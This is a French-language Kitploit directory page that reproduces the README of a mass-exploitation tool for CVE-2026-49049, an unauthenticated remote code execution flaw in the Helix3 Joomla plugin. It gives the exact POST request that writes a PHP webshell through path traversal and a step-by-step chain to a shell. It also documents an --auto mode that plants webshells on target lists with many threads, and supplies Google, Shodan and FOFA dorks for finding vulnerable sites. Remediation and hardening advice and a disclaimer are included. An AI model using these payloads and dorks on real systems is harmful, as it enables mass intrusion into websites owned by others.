Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49049 — CVE-2026-49049 Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner | Kitploit
Outils/GitHubGitHub/exdev994/cve-2026-49049
ReconnaissanceVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubexdev994/cve-2026-49049

CVE-2026-49049

CVE-2026-49049 Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-49049 — Helix3 (JoomShaper) Joomla Scanner RCE AJAX non authentifié

CVE CVSS Python License Author

Scanner / vérificateur de masse pour CVE-2026-49049 : gestionnaire AJAX non authentifié dans le plugin Helix3 Framework pour Joomla (v1.0 – 3.1.0, corrigé dans 3.1.1+).

Tests autorisés uniquement. Utilisez uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite.


Table des matières

  • Aperçu de la vulnérabilité
  • Chaîne RCE
  • Installation
  • Utilisation
  • Exemple de sortie
  • Dorks de reconnaissance
  • Correction (Remédiation)
  • Structure du projet
  • Contribuer
  • Références
  • Avertissement

Aperçu de la vulnérabilité

Le gestionnaire onAjaxHelix3() dans plugins/ajax/helix3/helix3.php est accessible via com_ajax de Joomla sans authentification / jeton CSRF :

root@kitploit:~
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>

Chaîne RCE

Une exploitation de masse active dans la nature dépose souvent un webshell à double extension :

  1. Détecter Helix3 + version < 3.1.1
  2. save avec layoutName=../../up.php + contenu PHP webshell
  3. Save ajoute .json → up.php.json atterrit dans la racine web
  4. AddHandler d'Apache exécute le jeton .php (multi-extension)
  5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK
root@kitploit:~
Détecter Helix3
    → POST com_ajax?plugin=helix3 (action=save, traversée)
    → up.php.json écrit
    → GET up.php.json?cmd=id
    → uid=33(www-data)

Installation

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

Prérequis : requests>=2.31.0, colorama>=0.4.6, Python 3.9+.


Utilisation

1. Préparer la cible

Éditez targets.txt — une URL / hôte par ligne (# = commentaire). Le chemin Joomla est conservé :

root@kitploit:~
# exemple
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. Scan en lecture seule (détection uniquement)

Ne dépose pas de webshell. Vérifie la version + sonde save / remove / import :

root@kitploit:~
python3 scan.py -f targets.txt --scan -o results.txt

3. Automatique : détecter + déposer webshell + vérifier RCE

root@kitploit:~
python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. Cible unique

root@kitploit:~
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"

5. Options avancées

root@kitploit:~
# Conserver le webshell après vérification (démo autorisée)
python3 scan.py -f targets.txt --auto --keep

# Nom de webshell personnalisé + profondeurs de traversée
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# Rapport JSON + concurrence
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# Proxy (Burp / etc.)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080

Drapeaux importants

Avertissement : Le mode --auto tente d'écrire un webshell via traversée de chemin. Par défaut, le webshell est supprimé après vérification. Utilisez --keep uniquement pour des démos autorisées.


Exemple de sortie

Terminal affiche tous les statuts (progression). results.txt ne contient que les vulnérables :

root@kitploit:~
[v] CVE-2026-49049 SHELL OK  https://target.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (pas de shell)         https://target.tld  Helix3 3.0.2  save=Y remove=Y import=Y

Les autres labels (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) n'apparaissent que dans le terminal, pas dans results.txt.


Dorks de reconnaissance

Utilisez les dorks ci-dessous pour trouver des actifs Helix3 / Joomla potentiellement impactés. Scannez uniquement les cibles autorisées.

Google

root@kitploit:~
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

root@kitploit:~
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

root@kitploit:~
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

Empreinte manuelle (après obtention d'un hôte)

root@kitploit:~
# Vérification de version
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version

# Sonde save non authentifiée (autorisée uniquement)
curl -sk -X POST \
  'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

Correction (Remédiation)

1. Correctif immédiat (obligatoire)

Mettez à jour les plugins System – Helix3 Framework et Helix3 – Ajax vers 3.1.1 ou plus récent (recommandé 3.1.2).

  • Backend Joomla → System → Update / Extensions
  • Ou téléchargez le package officiel depuis JoomShaper et installez manuellement

2. Si déjà compromis / défiguré

La mise à jour ne nettoie pas les charges utiles déjà présentes dans la base de données.

  1. Backend → Site Template Styles → modèle Helix3 actif
  2. Ouvrez Custom Code — supprimez les scripts étrangers dans JavaScript / CSS personnalisé / Before Head
  3. Vérifiez la table #__template_styles colonne params pour custom_js / custom_css injectés
  4. Supprimez les fichiers suspects dans la racine web / templates / tmp / media :
    • up.php.json, cox.json, *.php.json, autres webshells
  5. Changez les identifiants admin, passez en revue les comptes utilisateurs, auditez les cron / tâches planifiées

Signes courants de compromission : défacement "Hacked by AntonKill" / "trenggalek6etar", injection custom_js, fichiers JSON inconnus.

3. Durcissement (défense en profondeur)

Apache — n'utilisez pas AddHandler multi-extension ; utilisez plutôt :

root@kitploit:~
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Nginx :

root@kitploit:~
location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/run/php/php-fpm.sock;
}

PHP php.ini :

root@kitploit:~
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

Upload / écriture de fichier : régénérez les noms de fichiers, refusez les extensions multi-points, AllowOverride None dans les répertoires publics.

4. Vérification après correctif

root@kitploit:~
python3 scan.py -t https://YOUR-SITE/ --scan
# Attendu : PATCHED  Helix3 3.1.1+  (ou NOT_HELIX3 si le plugin est désinstallé)

Structure du projet

root@kitploit:~
CVE-2026-49049/
├── scan.py              # Point d'entrée CLI
├── core/
│   ├── engine.py        # ThreadPoolExecutor + résultats (vulnérables uniquement dans le fichier)
│   ├── probe.py         # Détection Helix3 + save/remove/import + dépôt RCE
│   └── target.py        # Analyse / normalisation de targets.txt
├── utils/
│   └── banner.py
├── targets.txt          # Cibles d'entrée
├── results.txt          # Généré (VULN / SHELL_OK uniquement)
├── requirements.txt
└── README.md

Contribuer

Les contributions de la communauté sont acceptées. Mainteneur : ExDev994.

Directives

  • Ne commitez pas de cibles en direct / résultats de scan / webshells / identifiants
  • Ne réduisez pas les avertissements « tests autorisés uniquement »
  • Préférez les petites PR (un sujet par PR)
  • Suivez le style Python existant (from __future__ import annotations, indications de type)
  • Testez localement : python3 -m py_compile scan.py core/*.py utils/*.py et python3 scan.py --help

Problèmes

Signalez les bogues / demandes de fonctionnalités dans Issues. Incluez :

  • Version Python & système d'exploitation
  • Commande exécutée
  • Sortie / traceback (masquez les cibles sensibles)

Contributeurs

ContributeurRôle
ExDev994Auteur / Mainteneur

Vulnérabilité signalée à l'origine par Phil Taylor (mySites.guru). Ce dépôt est une implémentation indépendante de scanner et n'est pas affilié à JoomShaper ou Open Source Matters.


Références

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-49049
  • Avis (mySites.guru) : https://mysites.guru/blog/helix3-security-update-changelog-failure/
  • JoomShaper Helix3 : https://www.joomshaper.com/
  • PoC en lecture seule : https://github.com/shinthink/CVE-2026-49049
  • Ce dépôt : https://github.com/ExDev994/CVE-2026-49049

Avertissement

Cet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.

L'accès non autorisé à des systèmes informatiques est illégal et peut enfreindre des lois, notamment la UU ITE en Indonésie, le CFAA aux États-Unis, et des législations équivalentes dans d'autres juridictions.

L'auteur (ExDev994) décline toute responsabilité en cas d'utilisation abusive. En utilisant ce logiciel, vous acceptez l'entière responsabilité de vos actions. Le mode --auto dépose un webshell temporaire — utilisez-le uniquement sur des cibles autorisées.

Télécharger l’outil
ActionImpactVersions
saveÉcriture arbitraire de fichier JSON + traversée de chemin1.0 – 3.1.0
removeSuppression arbitraire de fichier (aucune restriction d'extension/chemin)1.0 – 3.1.0
importÉcraser les paramètres du modèle en base de données (custom_js non échappé → XSS/défacement)v3.x uniquement
Version Helix3save / removeimportStatut
1.0 – 2.xVulnérableNon présentVulnérable
3.0 – 3.1.0VulnérableVulnérableVulnérable
3.1.1+CorrigéCorrigéSûr
DrapeauDescription
-f / --fileFichier de liste de cibles (par défaut : targets.txt si -t absent)
-t / --targetURL cible unique
--scanDétection en lecture seule
--autoDétection + vérification RCE (par défaut)
-c / --cmdCommande de vérification (par défaut : id)
-o / --outputFichier de résultats — uniquement les cibles VULN / SHELL_OK
--jsonRapport JSON structuré
--keepNe pas supprimer automatiquement le webshell après vérification
--threadsWorkers concurrents (par défaut : 15)
--timeoutDélai d'attente HTTP en secondes (par défaut : 15)